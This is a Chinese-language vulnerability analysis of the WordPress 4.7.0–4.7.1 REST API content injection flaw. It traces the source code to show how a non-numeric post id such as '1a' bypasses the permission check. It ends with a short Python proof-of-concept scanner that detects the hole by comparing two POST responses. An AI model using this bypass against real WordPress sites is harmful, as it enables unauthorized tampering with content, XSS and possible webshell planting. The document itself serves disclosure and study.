WordPress 4.7.1 REST API Content Injection
[Vulnerability Analysis]
WordPress 4.7.0-4.7.1 REST API权限验证绕过,攻击者可利用该漏洞修改文章内容,并通过XSS实施进一步攻击,在一定条件下可写入webshell。
Patch
https://github.com/WordPress/WordPress/commit/e357195ce303017d517aff944644a7a1232926f7
通过REST API修改文章时,update_item_permissions_check
函数用于验证权限(上图左)。
该函数先验证了文章是否存在,再验证有无更新权限,这里令get_post()
获取文章失败即可绕过该验证。
跟进get_post()
函数
/wp-includes/post.php
line 515 关键代码如下
function get_post( $post = null, $output = OBJECT, $filter = 'raw' ) {
...
$_post = WP_Post::get_instance( $post );
if ( ! $_post )
return null;
...
}
跟进get_instance()
public static function get_instance( $post_id ) {
global $wpdb;
if ( ! is_numeric( $post_id ) || $post_id != floor( $post_id ) || ! $post_id ) {
return false;
...
}
这里看到输入$post_id
不为纯数字时返回false。
现在我们可以构造一个json消息,令{"id":"1a"}
。
这样$request['id']
获取到1a
这个值,传入get_post()
函数导致$post==null
,即可绕过update_item_permissions_check()
验证。
随后update_item()
在修改内容时对这个id
参数做了integer casting,将1a
变为1
,从而顺利获取到文章内容并进行后续操作。
public function update_item( $request ) {
$id = (int) $request['id'];
$post = get_post( $id );
...
}
PoC
https://github.com/Xyntax/POC-T/blob/2.0/script/wp-4.7.1-restapi.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]
import requests
import json
API_ROUTE = '/index.php/wp-json/wp/v2/posts/'
def poc(url):
url = url if '://' in url else 'http://' + url
try:
r = requests.get(url + API_ROUTE)
id = json.loads(r.content)[0]['id'] # get an exist post id
post_url = url + API_ROUTE + str(id)
data1 = '{"id": "%s"}' % id
data2 = '{"id": "%sa"}' % id
r1 = requests.post(post_url, data1, headers={'Content-Type': 'application/json'})
r2 = requests.post(post_url, data2, headers={'Content-Type': 'application/json'})
if r1.status_code > 400 and r2.status_code == 200 and r1.content != r2.content:
return post_url
except:
return False
return False
Ref
- https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
- https://cxsecurity.com/ascii/WLB-2017020021